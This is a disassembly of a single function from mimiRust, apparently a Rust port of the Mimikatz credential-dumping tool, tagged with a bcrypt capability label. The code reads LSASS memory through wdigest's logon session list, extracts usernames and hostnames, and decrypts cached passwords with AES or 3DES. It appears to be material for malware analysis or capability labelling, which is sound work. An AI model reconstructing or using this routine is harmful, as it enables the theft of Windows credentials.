Function at 0x1400706ed
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x258
movaps xmmword [rsp + 0x240], xmm6
mov r14, rdx
mov rsi, rcx
lea rdx, str.wdigest.dll___
lea rdi, [rsp + 0xf0]
mov r8d, 0xb
mov rcx, rdi
call sym.mimiRust::passwords::wdigest::load_dll_into_process::h879909752a06fb62
mov rcx, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
lea r8, [0x14014f983]
mov r9d, 3
call sym.core::str::__impl_str_::contains::h492c53cf821e9de3
lea rbp, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
test al, al
je 0x14007078c
lea rax, str._home_thor_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winreg_0.10.1_src_lib.rs_b
lea rcx, [rsp + 0x190]
mov qword [rcx], rax
lea rax, [rsp + 0x68]
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rax], rdi
mov qword [rax + 8], rbp
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg._print
call sym.mimiRust::passwords::wdigest::get_current_process_handle::h147ea4896fd4177f
mov rbx, rax
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
mov qword [rsp + 0x20], 3
lea r9, [0x14014f768]
lea rdi, [rsp + 0x190]
mov rcx, rdi
call sym.core::str::__impl_str_::split::h07a8aa71e122c81e
lea r15, [rsp + 0x130]
mov rcx, r15
mov rdx, rdi
call sym.core::iter::traits::iterator::Iterator::collect::h8274d325ebe63983
mov rdi, qword [r15 + 8]
mov r15, qword [r15 + 0x10]
lea r9, str.src_passwords_wdigest_mod.rs
mov r13d, 1
mov r8d, 1
mov rcx, rdi
mov rdx, r15
call sym.__alloc::vec::Vec_T_A__as_core::ops::index::Index_I__::index::h020a0cdfcf683572
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call sym.mimiRust::passwords::wdigest::to_usize_from_string::h1a2c9e81e49d8ecd
mov qword [rsp + 0x20], rbx
lea rdx, [0x14014f9a0]
mov r8d, 4
mov rcx, rax
mov r9, rdx
call sym.mimiRust::passwords::wdigest::search_pattern::h90c12ca24ea7f4b9
test rax, rax
je 0x140070fb7
mov r12, rax
lea rax, [rsp + 0x108]
mov qword [rax], r12
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
lea rax, str.___Found_offset_to_l_LogSessList_at:__n_n
lea r13, [rsp + 0x190]
mov qword [r13], rax
mov qword [r13 + 8], 2
and qword [r13 + 0x20], 0
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::h1e3499352826a48f]
mov qword [rcx + 8], rax
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], 1
mov rcx, r13
call dbg._print
lea r9, str.src_passwords_wdigest_mod.rs
mov r8d, 1
mov rcx, rdi
mov rdx, r15
call sym.__alloc::vec::Vec_T_A__as_core::ops::index::Index_I__::index::h020a0cdfcf683572
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call sym.mimiRust::passwords::wdigest::to_usize_from_string::h1a2c9e81e49d8ecd
lea rdx, [r12 + rax]
add rdx, 0xfffffffffffffffc
mov rcx, rbx
call sym.mimiRust::passwords::wdigest::get_win_offset::h4f00517ca682c188
mov rbx, rax
lea r9, str.src_passwords_wdigest_mod.rs
mov r8d, 1
mov rcx, rdi
mov rdx, r15
call sym.__alloc::vec::Vec_T_A__as_core::ops::index::Index_I__::index::h020a0cdfcf683572
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call sym.mimiRust::passwords::wdigest::to_usize_from_string::h1a2c9e81e49d8ecd
add r12, rax
add r12, rbx
and qword [r13], 0
and qword [rsp + 0x20], 0
lea rdi, [rsp + 0x190]
mov r9d, 8
mov rcx, r14
mov rdx, r12
mov r8, rdi
call sub.KERNEL32.dll_ReadProcessMemory
mov rdx, qword [rdi]
xorps xmm6, xmm6
movaps xmmword [rdi], xmm6
and dword [rdi + 0x10], 0
movups xmmword [rdi + 0x18], xmm6
movups xmmword [rdi + 0x28], xmm6
movups xmmword [rdi + 0x38], xmm6
movups xmmword [rdi + 0x48], xmm6
movups xmmword [rdi + 0x58], xmm6
movups xmmword [rdi + 0x68], xmm6
movups xmmword [rdi + 0x78], xmm6
movups xmmword [rdi + 0x84], xmm6
lea r15, [rsp + 0x190]
mov r9d, 0x58
mov rcx, r14
mov r8, r15
call sym.mimiRust::passwords::wdigest::read_from_lsass::hae66dc80a68ffa47
mov ecx, 8
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::allocate_in::h3df00f9134cd96a6
mov rdi, rax
mov rbx, rdx
mov rax, qword [r15 + 0x18]
mov qword [rdx], rax
movaps xmmword [r15 + 0x40], xmm6
movaps xmmword [r15 + 0x30], xmm6
movaps xmmword [r15 + 0x20], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15], xmm6
and qword [r15 + 0x50], 0
mov edx, 8
mov rcx, rbx
call sym.__byteorder::LittleEndian_as_byteorder::ByteOrder_::read_u64::h11d8822b08a4dd9f
mov r9d, 0x58
mov rcx, r14
mov rdx, rax
mov r8, r15
call sym.mimiRust::passwords::wdigest::read_from_lsass::hae66dc80a68ffa47
cmp dword [r15 + 0x10], 1
jne 0x140070f5b
mov edx, 8
mov rcx, rbx
call sym.__byteorder::LittleEndian_as_byteorder::ByteOrder_::read_u64::h11d8822b08a4dd9f
lea r8, [rax + 0x30]
lea r15, [rsp + 0x16c]
mov rcx, r15
mov rdx, r14
call sym.mimiRust::passwords::wdigest::extract_unicode_string::h8ba46fd7cf40a284
mov edx, 8
mov rcx, rbx
call sym.__byteorder::LittleEndian_as_byteorder::ByteOrder_::read_u64::h11d8822b08a4dd9f
lea r8, [rax + 0x40]
lea rcx, [rsp + 0x148]
mov rdx, r14
call sym.mimiRust::passwords::wdigest::extract_unicode_string::h8ba46fd7cf40a284
mov edx, 8
mov rcx, rbx
call sym.__byteorder::LittleEndian_as_byteorder::ByteOrder_::read_u64::h11d8822b08a4dd9f
lea r8, [rax + 0x50]
lea rcx, [rsp + 0x108]
mov rdx, r14
call sym.mimiRust::passwords::wdigest::extract_unicode_string::h8ba46fd7cf40a284
cmp word [r15], 0
lea r15, str._home_thor_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winreg_0.10.1_src_lib.rs_b
je 0x140070a8d
lea rdx, [rsp + 0x170]
lea r14, [rsp + 0xd0]
mov rcx, r14
call sym.mimiRust::passwords::wdigest::bytes_to_string::ha0c3efd9fccf2e59
lea rax, [rsp + 0x98]
lea rdx, str.______Username:
lea rcx, [rsp + 0x68]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rax], r14
mov qword [rax + 8], rbp
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg._print
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h93df36056228766e
jmp 0x140070ab4
lea rax, str.______Username:__NULL__n
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r15
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call dbg._print
cmp word [rsp + 0x148], 0
je 0x140070b21
lea rdx, [rsp + 0x14c]
lea r14, [rsp + 0xd0]
mov rcx, r14
call sym.mimiRust::passwords::wdigest::bytes_to_string::ha0c3efd9fccf2e59
lea rax, [rsp + 0x98]
lea rdx, str.______Hostname:
lea rcx, [rsp + 0x68]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rax], r14
mov qword [rax + 8], rbp
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg._print
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h93df36056228766e
jmp 0x140070b48
lea rax, str.______Hostname:__NULL__n
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r15
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call dbg._print
movzx eax, word [rsp + 0x108]
test ax, ax
je 0x140070d3a
and eax, 1
jne 0x140070d3a
and qword [rsp + 0x58], 0
xorps xmm0, xmm0
and qword [rsp + 0x60], 0
movaps xmmword [rsp + 0xe0], xmm0
and qword [rsp + 0xc0], 0
movaps xmmword [rsp + 0xd0], xmm0
and qword [rsp + 0xc8], 0
lea rax, [rsp + 0x10c]
and dword [rsp + 0x54], 0
movzx eax, word [rax - 2]
movaps xmm1, xmmword [0x1401d0040]
movaps xmmword [rsp + 0xb0], xmm1
mov dword [rsp + 0x50], eax
test al, 7
je 0x140070d66
lea rax, [0x14014fbd0]
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r15
movups xmmword [rcx + 0x18], xmm0
call dbg._print
lea rdx, str.AESChainingModeCFBFailed_to_decode_string
lea r12, [rsp + 0x98]
mov r8d, 3
mov rcx, r12
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r14, qword [r12 + 8]
lea rdx, [0x14014fb8c]
lea r13, [rsp + 0x68]
mov r8d, 0x1c
mov rcx, r13
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov rbp, qword [r13 + 8]
lea rcx, [rsp + 0x58]
mov r15, rcx
mov rdx, r14
mov r8, rbp
xor r9d, r9d
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
mov rcx, qword [r13]
mov rdx, rbp
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov rcx, qword [r12]
mov rdx, r14
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov r14, qword [r15]
lea rdx, [0x14014fba8]
lea r12, [rsp + 0x98]
mov r8d, 0xc
mov rcx, r12
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r13, qword [r12 + 8]
lea rdx, [0x14014fbe3]
lea rbp, [rsp + 0x68]
mov r8d, 0xf
mov rcx, rbp
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r15, qword [rbp + 8]
and dword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r13
mov r8, r15
mov r9d, 0x20
call sub.bcrypt.dll_BCryptSetProperty
mov rcx, qword [rbp]
mov rdx, r15
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov rcx, qword [r12]
mov rdx, r13
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
lea rax, [rsp + 0x58]
mov rcx, qword [rax]
mov ebp, 0x10
mov dword [rsp + 0x28], ebp
lea rax, [0x1401d0068]
mov qword [rsp + 0x20], rax
and dword [rsp + 0x30], 0
lea r14, [rsp + 0xc0]
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call sub.bcrypt.dll_BCryptGenerateSymmetricKey
mov rcx, qword [r14]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebp
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
and dword [rsp + 0x48], 0
mov dword [rsp + 0x38], 0x20
jmp 0x140070edf
lea rax, str.______Password:__NULL__n
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r15
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call dbg._print
jmp 0x140070f5b
lea rax, str.______3DES_n
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r15
movups xmmword [rcx + 0x18], xmm0
call dbg._print
lea rdx, str.3DESMicrosoft_Primitive_ProviderChainingModeChainingModeCBC______AES_n
lea r12, [rsp + 0x98]
mov r8d, 4
mov rcx, r12
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r13, qword [r12 + 8]
lea rdx, [0x14014fb8c]
lea r14, [rsp + 0x68]
mov r8d, 0x1c
mov rcx, r14
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r15, qword [r14 + 8]
lea rcx, [rsp + 0x60]
mov rbp, rcx
mov rdx, r13
mov r8, r15
xor r9d, r9d
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
mov rcx, qword [r14]
mov rdx, r15
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov rcx, qword [r12]
mov rdx, r13
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov r14, qword [rbp]
lea rdx, [0x14014fba8]
lea r12, [rsp + 0x98]
mov r8d, 0xc
mov rcx, r12
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov r15, qword [r12 + 8]
lea rdx, [0x14014fbb4]
lea r13, [rsp + 0x68]
mov r8d, 0xf
mov rcx, r13
call sym.winreg::to_utf16::h0bdd8dd0fa0698ce
mov rbp, qword [r13 + 8]
and dword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r15
mov r8, rbp
mov r9d, 0x18
call sub.bcrypt.dll_BCryptSetProperty
mov rcx, qword [r13]
mov rdx, rbp
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
mov rcx, qword [r12]
mov rdx, r15
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u16__::hbd768d24bd1530e1
lea rax, [rsp + 0x60]
mov rcx, qword [rax]
and dword [rsp + 0x30], 0
lea rax, [0x1401d0050]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x18
lea r14, [rsp + 0xc8]
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call sub.bcrypt.dll_BCryptGenerateSymmetricKey
mov rcx, qword [r14]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x48], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], 0x20
mov dword [rsp + 0x28], 8
lea rdx, [rsp + 0x10c]
mov r8d, dword [rsp + 0x50]
xor r9d, r9d
call sub.bcrypt.dll_BCryptDecrypt
lea r14, [rsp + 0x98]
lea rdx, [rsp + 0xd0]
mov rcx, r14
call sym.mimiRust::passwords::wdigest::bytes_to_string::ha0c3efd9fccf2e59
lea rax, str.______Password:
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
lea rax, [rsp + 0xb0]
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rax], r14
lea rdx, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
mov qword [rax + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg._print
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h93df36056228766e
mov rcx, rdi
mov rdx, rbx
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h93df36056228766e
mov byte [rsi + 1], 1
xor eax, eax
mov rdi, qword [rsp + 0x138]
mov byte [rsi], al
mov rcx, qword [rsp + 0x130]
mov rdx, rdi
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0953f3d75db52479
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h93df36056228766e
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x14014f9d8]
lea rbx, [rsp + 0x190]
mov qword [rbx], rax
mov qword [rbx + 8], r13
lea rax, str._home_thor_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winreg_0.10.1_src_lib.rs_b
mov qword [rbx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbx + 0x18], xmm0
mov rcx, rbx
call dbg._print
lea rax, [0x1401ba751]
lea rcx, [rsp + 0x68]
mov qword [rcx], rax
lea rax, str._home_thor_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winreg_0.10.1_src_lib.rs_b
mov qword [rbx], rax
mov qword [rbx + 8], r13
and qword [rbx + 0x20], 0
lea rax, [sym.__bool_as_core::fmt::Display_::fmt::ha39ba43b7f96c9b7]
mov qword [rcx + 8], rax
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r13
lea rbx, [rsp + 0x228]
lea rdx, [rsp + 0x190]
mov rcx, rbx
call sym.alloc::fmt::format::ha7016107dd9b0da8
mov rcx, rbx
call sym.anyhow::kind::Adhoc::new::he11cca279fda13b0
mov qword [rsi + 8], rax
mov al, 1
jmp 0x140070f74